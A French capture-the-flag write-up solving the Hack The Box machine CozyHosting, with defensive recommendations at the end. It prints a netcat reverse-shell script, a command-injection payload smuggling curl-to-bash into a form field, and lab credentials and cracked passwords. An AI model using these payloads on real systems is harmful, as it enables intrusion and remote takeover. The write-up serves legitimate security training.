Hack The Box – Résoudre la box CozyHosting : outils, méthodes et recommandations pour se protéger
Sommaire
I. Présentation
Dans cet article, je vous propose la résolution de la machine Hack The Box CozyHosting, de difficulté "Facile".
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs 🙂
Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".
| Technologies/attaques abordées | Linux, Web, Springboot, PostgreSQL, RCE (Remote Command Execution), Vol de session, sudo escape |
| Outils utilisés | nmap, ssh, curl, nuclei, psql, johntheripper, sudo |
Retrouvez tous nos articles Hack The Box via ce lien :
II. Résolution de la box CozyHosting
A. Découverte et énumération
Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.
Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery
$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.230
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)Un service SSH et un service web sont accessibles, assez classique pour le moment.
B. Configuration Springboot
Technique d'attaque (MITRE ATT&CK) : T1595 - Active Scanning: Vulnerability Scanning
Le site web exposé par le service web est un simple site vitrine :
Je commence par lancer l'outil nuclei qui va automatiser certaines tâches de découverte relatives à des CVE, framework ou mauvaises configuration spécifiques :
Le scanner web
nucleiest toujours intéressant à utiliser, quelque soit votre niveau en test d'intrusion. Il est certes loin de proposer un audit complet d'une application web, mais permet de scanner vos sites web pour un diagnostic rapide et dégrossir rapidement un test d'intrusion en boite noire. Son fonctionnement par module communautaire et très complet pour un outil open source et il renvoie rarement de faux positifs.
Assez rapidement, celui-ci découvre plusieurs points d'entrées relatifs à Springboot. Il s'agit d'un projet du framework Spring qui fournit un ensemble d'outils et de conventions pour faciliter la création de services web, d'applications back-end et de microservices. Il vise à rendre le développement d'applications basées sur Spring plus rapide et facile.
Springboot Actuator est un ensemble de fonctionnalités permettant de surveiller les applications, de collecter des métriques et comprendre le trafic ou l'état de la base de données. Il s'agit plus précisément d'une dépendance utilisée par les développeurs qui utilisent ce framework de développement. Tout cela semble fort intéressant pour un développeur, mais est-ce qu'un visiteur externe a besoin d'y accéder ? La réponse est probablement non.
Technique d'attaque (MITRE ATT&CK) : T1190 - Exploit Public-Facing Application
En étudiant les possibilités et point d'entrés d'Actuator, on remarque vite qu'il peut fournir à celui qui y accède un grand nombre d'informations sur l'application qu'il gère ou le serveur qui l'héberge. Le point d'entrée "/actuator/mappings" liste tous les points d'entrés disponibles :
On remarque notamment le point d'entrée "/actuator/session", toujours intéressant pour un visiteur anonyme :
$ curl http://cozyhosting.htb/actuator/sessions
{"7DA0F441BD57DB10A6D3E7F9DC07A2B0":"kanderson","C74E35728DE7EB32CB9F8F742A68CC7A":"kanderson","C6713C8621A4A5576FD206A0E0E00B28":"kanderson","1040C845B8DF19E4DFC2415898377302":"UNAUTHORIZED"}Sans aucune authentification et en quelques requêtes, nous parvenons à récupérer un jeton de session valide sur la plateforme ciblée.
Lors d'une authentification réussie, l'application web fournit, en échange de la preuve (mot de passe) de l’identité déclarée (login), un jeton de session. Cela évite ainsi à l'utilisateur de s'authentifier sur chaque changement de page. Ce jeton de session sera unique par utilisateur et pour chaque connexion, avec une durée de vie limitée. Ainsi, le fait de fournir cette donnée unique à chaque requête plutôt que nos identifiants, permet au serveur de suivre notre session et de nous maintenir authentifié lors de la navigation.
Sur l'application web, on remarque notamment que si l'on tente une authentification sur la page "/login", un "JSESSIONID" nous est attribué :
Le menu que vous voyez apparaitre en bas de la capture d'écran ci-dessus est la barre développeur de Firefox. Il s'agit d'un outil présent sur tous les navigateurs récents. Elle propose un ensemble d'outils intégrés permettant aux développeurs web d'inspecter et de déboguer les pages et les échanges, ainsi que d'analyser les performances du site en temps réel. Elle offre des fonctionnalités telles que l'inspection d'éléments HTML, la modification en direct du CSS, le débogage JavaScript, le suivi du réseau et la mesure des performances.
Cela nous permet d'obtenir le nom du cookie à utiliser, il faut ensuite remplacer son contenu par l'un des jetons de l’utilisateur "kanderson" récupéré plus haut.
Après modification de notre cookie, nous devons rafraichir la page pour que le serveur web comprenne que nous sommes authentifiés. Nous voilà ainsi sur le point d'entrée "/admin" en tant que l'utilisateur "K. Anderson". Nous venons d'effectuer un vol de session ! Sans connaissance du mot de passe de l'utilisateur, nous récupérons l'élément qui permet à l'application web de suivre sa session.
C. RCE (Remote Commande Execution)
Nous pouvons à présent parcourir l'espace authentifié de l'application web. Cette fonctionnalité parait notamment intéressante :
Visiblement, nous pouvons spécifier un nom d'hôte et un nom d'utilisateur pour que l'application web s'y connecte. Autre fait intéressant, si l'on saisie des données qui ne sont pas conformes à ce que pourrait attendre ce genre de fonctionnalité, le contenu de l'aide de la commande SSH est retourné par l'application web :
Cela indique explicitement qu'une commande système est exécutée à l'aide des informations que nous saisissons.
Lorsque de la réalisation d'une attaque sur une application web, la saisie de données non conformes ou mal formatées est l'une des opérations de base à réaliser. Cela permet de voir si l'application web ciblée a été correctement développée afin de gérer les entrées utilisateurs, et notamment de s'assurer que celles-ci sont conformes à ce qui est attendu d'un point de vue logique (présence de caractères spéciaux dans un nom de domaine ?) ou métier (l'adresse mail saisie existe-t-elle vraiment ? Prix négatif ?).
L'objectif de l'attaquant est alors de tenter de faire apparaitre des erreurs, parfois verbeuses, pouvant faire fuiter des informations (framework/technologie utilisée, contexte d'exécution) ou trahir un manque de filtrage ou de contrôle des entrées utilisateur.
Ainsi, nous savons à présent que nos entrées sont insérées dans une commande système (Bash), et non plus simplement dans une variable d'un langage de développement web (PHP, Java, autre) ou une base de données. C'est une information très intéressante pour un attaquant, car s'il parvient à manipuler correctement cette commande, il pourra exécuter ses propres commandes sur le système.
Supposons que nos entrées "host" et "username" soient insérées dans une commande SSH comme celle-ci :
ssh username@hostAlors, nous pourrions insérer n’importe quelle commande dans cette commande SSH à l'aide d'une variable "host" comme celle-ci :
host = 127.0.0.1;whoami
username = john
ssh john@127.0.0.1;whoamiTentons de vérifier notre hypothèse :
Cela ne fonctionne pas, l'application web semble vérifier la cohérence du paramètre "hostname" reçu. Voyons si c'est également le cas avec le "username" :
Si l'on regarde attentivement le message d'erreur, nous comprenons qu'il s'agit en fait de deux messages distincts. Cela valide notre supposition initiale, au moins pour le paramètre "username". Voici précisément ce que donne notre injection
ssh john;[email protected]
# Détail des message d'erreurs
ssh john # ssh : Could not resolve hostname john : Temporary failure in name resolution
[email protected] # /bin/bash: line1 : [email protected]: command not foundÉtant donné que nous avons inséré un caractère de chainage de commande sous Linux (le point-virgule), nous avons maintenant deux commandes. Cependant, aucune des deux n'est réellement valide. Maintenant que nous avons validé la possibilité d'une injection de commande, nous devons produire quelque chose d'utile et de fonctionnel pour un attaquant. Au moins une de nos deux commandes doit pouvoir être exécutée sans erreurs.
Technique d'attaque (MITRE ATT&CK) : T1059.004 - Command and Scripting Interpreter: Unix Shell
Je décide d'utiliser pour cela une substitution de commande, qui permet sous Linux d'utiliser le résultat d'une commande comme argument pour une autre commande :
# Poste attaquant
# Création d'un script reverse shell
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.162 9001 >/tmp/f" > x
# Mise en en écoute d'un service web
python3 -m http.server
# Mise en écoute d'un netcat (port 9001)
$ nc -lvp 9001Mon idée ici est de générer le téléchargement, puis l'exécution d'un script Bash qui contient des instructions pour monter un reverse shell en direction de mon système d'attaque.
Un reverse shell est une suite d'intrusion exécutée pour qu'un système compromis se connecte à un serveur distant contrôlé par l'attaquant, permettant ainsi à ce dernier d'obtenir un accès à distance à la machine compromise. Cette technique est souvent utilisée pour contourner les pare-feu et établir une communication secrète, rarement journalisée (à l'inverse d'une connexion SSH par exemple).
Voici la requête web utilisée pour l'exploitation :
POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Origin: http://cozyhosting.htb
Connection: close
Referer: http://cozyhosting.htb/admin?error=Invalid%20hostname!
Cookie: JSESSIONID=10613C25E1495DF30F924F3A32433826
Upgrade-Insecure-Requests: 1
host=1.1.1.1&username=$(curl${IFS}http://10.10.14.162:8000/x|bash)Ici, on voit la substitution à l'intérieur du "$( )". Le système Linux va d'abord "résoudre" cette substitution avant d'insérer le résultat de la commande dans le "username" de la commande SSH. Vous noterez également la présence d'un "${IFS}", qui permet d'insérer un espace sans utiliser l'espace. Ainsi, même si le "username" de la commande SSH est mal formaté et entraîne une erreur, la substitution sera exécutée avant et l'erreur de la commande SSH n'aura aucun impact sur mon exploitation.
Enfin, le fait d'utiliser "curl http://IP/script|bash" permet de télécharger et exécuter un script Bash sans dépôt sur le système. J'utilise cette astuce pour éviter de m'embêter avec les nombreux caractères spéciaux de ma commande reverse shell, qui peuvent être à manipuler correctement pour passer l'encodage/décodage par le client, le service et l'application web.
# Récepetion du reverse shell sur le poste attaquant
$ nc -lvp 9001
connect to [10.10.14.162] from cozyhosting.htb [10.10.11.230] 42102
app@cozyhosting:/app$ À présent, nous avons à notre disposition un shell interactif en tant que l'utilisateur "app" le serveur attaqué.
Nous venons de le voir, les attaque de type RCE (Remote Command Execution) sont parmi les plus critiques qui puissent exister au sein d'une application web. Elles permettent d'exécuter du code sur un serveur web qui héberge l'application web, avec les droits du service web. Ainsi, nous pouvons nous affranchir des limitations imposées par nos droits applicatifs ou les fonctionnalités de l'application.
D. Récupération d'identifiants
Nous avons un premier accès au serveur, pour aller jusqu'au bout, nous devons passer root ! Nous pouvons simplement commencer par quelques opérations de découverte basique sur le serveur :
- Quels sont nos droits et groupes ?
app@cozyhosting:/app$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)- Existe-t-il des services accessibles qu'en interne ?
netstat -petulan |grep "LISTEN" |grep "127.0.0"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 102 21525 -
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 114 22278 -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN 1001 23652 1065/java - Quels fichiers intéressants pouvons-nous lire ?
app@cozyhosting:/app$ ls -al
ls -al
total 58856
drwxr-xr-x 2 root root 4096 Aug 14 14:11 .
drwxr-xr-x 19 root root 4096 Aug 14 14:11 ..
-rw-r--r-- 1 root root 60259688 Aug 11 00:45 cloudhosting-0.0.1.jar- etc...
Technique d'attaque (MITRE ATT&CK) : T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol
Après quelques recherches, je découvre le fichier "cloudhosting-0.0.1.jar", il s'agit probablement du site web qui expose le site vitrine vu précédemment. Je décide de l'exfiltrer du serveur pour étude en local :
app@cozyhosting:/app$ python3 -m http.server 8123
python3 -m http.server 8123
10.10.14.162 - "GET /cloudhosting-0.0.1.jar HTTP/1.1" 200 -
# Poste d'attaque
$ wget http://10.10.11.230:8123/cloudhosting-0.0.1.jarTechnique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files
Une archive JAR est un conteneur de fichiers Java, regroupant des classes et des ressources, facilitant le déploiement et l'exécution d'applications Java. Elle permet de compresser et d'organiser des éléments liés au code source notamment pour favoriser la portabilité et la distribution des programmes .
Une simple recherche via grep dans les fichiers composants de l'archive ".jar" nous permet de retrouver des identifiants correspondants à une base de données :
$ unzip cloudhosting-0.0.1.jar -d cloudhosting
$ grep "passw" -ri cloudhosting -C3
BOOT-INF/classes/application.properties-spring.datasource.platform=postgres
BOOT-INF/classes/application.properties-spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
BOOT-INF/classes/application.properties-spring.datasource.username=postgres
BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR Technique d'attaque (MITRE ATT&CK) : T1078.003 - Valid Accounts: Local Accounts
À la suite de notre découverte des services en écoute interne, nous avons identifié un service PostgreSQL. Nous pouvons probablement nous y authentifier avec les identifiants découverts :
app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres -c "\list"
psql -h 127.0.0.1 -U postgres -c "\list"
Password for user postgres: Vg&nvzAQ7XxRTechnique d'attaque (MITRE ATT&CK) : T1005 - Data from Local System
Une découverte des bases de données, tables et données accessibles nous permet de découvrir une table intéressante :
Cette table contient deux comptes utilisateur, ainsi que le hash de leur mot de passe.
select * from users;
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | AdminTechnique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking
Nous utilisons à présent John The Ripper pour tenter de casser ces hash à l'aide du dictionnaire de mot de passe rockyou.txt :
$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/y
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?) Le préfixe "$2a$" dans le contexte des hachages de mots de passe fait référence à la version "2a" de l'algorithme de hachage Blowfish utilisé avec la fonction de hachage de mots de passe bcrypt. Mais, c'est une information que John The Ripper sait traiter de façon autonome pour adapter son attaque.
Le cassage de hash de mot de passe bcrypt par dictionnaire avec John the Ripper implique l'utilisation d'une liste de mots prédéfinis (dictionnaire) pour tenter de trouver une correspondance avec les hachages bcrypt. John the Ripper génère les hachages correspondants aux mots du dictionnaire et compare ensuite avec le hash cible. Si les hashs correspondent, alors le hash est considéré comme cassé et l'on connait le mot de passe d'origine.
Bingo ! Nous parvenons à casser le hash du mot de passe de l'utilisateur "admin" !
E. Élévation du privilège sudo
Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH
Étant donné que nous avons un accès au serveur, nous pouvons accéder en lecture au fichier "/etc/passwd", ce qui nous permettra d'avoir une liste d'utilisateur sur lequel tester notre mot de passe :
app@cozyhosting:/app$ cat /etc/passwd |tail -n 4
cat /etc/passwd |tail -n 4
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/falseLe mot de passe découvert peut être utilisé pour se connecter en SSH avec le compte de l'utilisateur "josh" :
$ ssh [email protected]
josh@cozyhosting:~$ cat user.txt
7d7[REDACTED]ca5d3c56Technique d'attaque (MITRE ATT&CK) : T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Nous pouvons maintenant, entre autres, lister les dérogations d'exécution via sudo accordées à cet utilisateur :
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
(root) /usr/bin/ssh *Intéressant, cet utilisateur peut exécuter la commande SSH en tant que root. Nous pouvons utiliser la ressource gtfobins.sh pour connaitre les éventuels abus existant sur cette commande : https://gtfobins.github.io/gtfobins/ssh/#sudo
Nous pouvons visiblement utiliser l'option "Proxycommand" pour exécuter une commande en tant que root. L'option ProxyCommand dans la commande SSH permet de spécifier une commande qui sera utilisée pour établir une connexion à un hôte distant. Elle est utile pour traverser un proxy/rebond avant d'atteindre la destination finale. Ici, nous utiliserons l'option pour avoir un shell interactif, encore une fois grâce à un chainage de commande :
Une fois de plus, nous parvenons à abuser de la dérogation de droit sudo pour exécuter autre chose que la commande autorisée. Cela nous permet d'obtenir les droits root sur le serveur.
III. Résumé de l'attaque
Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :
| TTP (MITRE ATT&CK) | Détails |
| T1046 - Network Service Discovery | Découverte des services exposés avec uns can réseau via nmap |
| T1595 - Active Scanning: Vulnerability Scanning | Utilisation de nuclei et découverte des points d'entrée SpringBoot Actuator |
| T1190 - Exploit Public-Facing Application | Vol de session de l'application via Actuator |
| T1059.004 - Command and Scripting Interpreter: Unix Shell | Exploitation d'une RCE dans la fonctionnalité "/executessh" de l'espace authentifié du site vitrine et obtention d'un revershell |
| T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol | Exfiltration de l'archive ".jar" du site vitrine via HTTP |
| T1552.001 - Unsecured Credentials: Credentials In Files | Découverte d'identifiants de bases de données postgreSQL dans l'archive ".jar" |
| T1078.003 - Valid Accounts: Local Accounts | Authentification sur le service PostgreSQL local du système cible |
| T1005 - Data from Local System | Récupération des hashs des mots de passe des utilisateurs de l'application web en base de données |
| T1110.002 - Brute Force: Password Cracking | Cassage des hashs découverts avec John The Ripper, obtention des identifiants de l'utilisateur "admin" |
| T1021.004 - Remote Services: SSH | Authentification SSH avec l'utilisateur "josh" |
| T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching | Abus de la dérogation de droits sudo accordée à l'utilisateur josh sur la commande SSH. |
IV. Notions abordées
A. Côté attaquant
L'utilisation de nuclei nous a fait gagner un temps certains ici. Bien qu'il ne soit pas du tout recommandé de baser notre analyse et nos tests uniquement sur ce genre d'outils automatisés, il faut savoir en tirer parti, car ils présentent certains avantages. Notamment, ils peuvent rapidement tester des éléments très spécifiques autour d'une CVE (même ancienne) ou d'une mauvaise configuration. Ils peuvent aussi passer à côté de vulnérabilité très basiques qui dépendent plus du contexte applicatif. Il faut donc utiliser ces outils intelligemment...
Nous avons également vu dans cet exercice la dangerosité des vulnérabilités de type RCE (Remote Command Execution) et un exemple scolaire d'exploitation de celle-ci. Si l'on s'intéresse au code applicatif ayant mené à cette vulnérabilité (car nous avons l'archive ".jar" à présent), nous pouvons retrouver le code suivant :
Nous voyons ici l'utilisation de "Runtime.getRuntime().exec()" pour exécuter des commandes système en Java. Également, on remarque les fonctions "validateUserName", qui vérifie simplement la présence d'un espace, et "validateHost", qui repose sur une expression régulière et un pattern plus complexe (je n'ai pas précisément étudié le pattern), ce qui correspond à nos observations "boite noire" (sans le code sous les yeux).
B. Côté défenseur
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :
Recommandation n°1 : la première recommandation est bien sûr de rendre inaccessible le point d'entrée "Actuator" aux visiteurs non authentifiés. Ce genre d'information ne doit être visibles qu'aux développeurs. Si celles-ci ne sont pas activement utilisées, il est recommandé de désactiver "Springboot Actuator" sur les environnements en production.
Recommandation n°2 : il est recommandé de renforcer la sécurité applicative, et notamment le contrôle des entrées utilisateurs sur la fonctionnalité "/executessh". La fonction "validateUsername" doit vérifier l'absence de tout caractère spécial susceptible de causer des erreurs ou d'être utilisés pour du chainage et de la substitution de commande. Des ressources de l'OWASP peuvent ici être mises en référence (OS Command Injection Defense Cheat Sheet, OWASP Testing Guide v4.2 - Testing for Command Injection). Pour prendre un peu de recul, la mise en place d'un pare-feu applicatif (WAF ou Web Application Firewall) peut également être recommandée. Celui-ci, s'il est bien configuré, permettra de freiner la démarche de l'attaquant sur les exploitations basiques telles qu'observées ici, voire de lever l'alerte auprès des équipes de sécurité.
Recommandation n°3 : la troisième recommandation porte encore une fois sur "sudo". Si non justifiée par un besoin métier, il est recommandé de supprimer la dérogation "sudo" en place, car la commande concernée peut être utilisée pour exécuter d'autres commandes avec les droits "root". Si elle est justifiée par un besoin métier, il peut être recommandé de passer un script ou un binaire (non modifiable bien entendu) qui restreindra l'utilisation des options de la commande SSH, voir contiendra uniquement quelques commandes pré-enregistrées. L'essentiel est de réduire la marge de manœuvre de l'utilisateur sur l'utilisation de la commande SSH. Le chapitre "6.3 Contrôle d'accès" du guide Recommandations de sécurité relatives à un système GNU/Linux de l'ANSSI contient un ensemble de bonnes pratiques autour de la configuration sudo.
J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!
Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy
